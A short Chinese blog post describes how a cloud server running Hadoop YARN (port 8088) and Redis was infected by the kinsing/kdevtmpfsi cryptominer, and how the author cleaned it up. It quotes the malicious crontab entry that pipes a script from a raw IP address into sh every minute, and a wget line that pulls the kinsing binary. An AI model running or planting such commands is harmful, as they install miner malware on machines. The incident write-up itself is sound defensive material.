记录一次被挖矿僵尸攻击过程

对病毒背景的了解来自这篇文章
https://blog.youkuaiyun.com/weixin_43970890/article/details/103857487

研究hadoop的时候提交作业到yarn上，结果8088端口开放到公网，被挖矿病毒攻击，只要一启动yarn就会执行kinsing（守护进程）以及kdevtmpfsi进程，cpu瞬间被占用到100%，服务器瘫痪。

同样的redis的6379端口也会被攻击。

查看定时命令 crontab -l
会被写入形如这样的任务

* * * * * wget -q -O - http://195.3.146.118/h2.sh | sh > /dev/null 2>&1

每分钟请求一次这个地址。

查看守护进程kinsing看到如下：

ps -ef|grep kinsing
hadoop    8768  7273  0 22:28 ?        00:00:00 wget -O /var/tmp/kinsing http://144.217.117.146/kinsing
hadoop   11306  4680  0 22:42 pts/0    00:00:00 grep --color=auto kinsing

守护进程目录：/var/tmp/kinsing
执行进程目录：/tmp/kdevtmpfsi

解决方案：

由于是云服务器，cpu占满，导致服务器无法登录，首先在云服务器安全组中，关闭对所有ip的入方向的允许（由于不是商用，写了一个当地默认IP地址）。

重启云服务器，随后进入服务器杀死kinsing和kdevtmpfsi的进程，同时进入进程目录删除kdevtmpfsi和kinsing执行文件

然后crontab -r清除定时任务。

之后再重启yarn就不会被攻击了。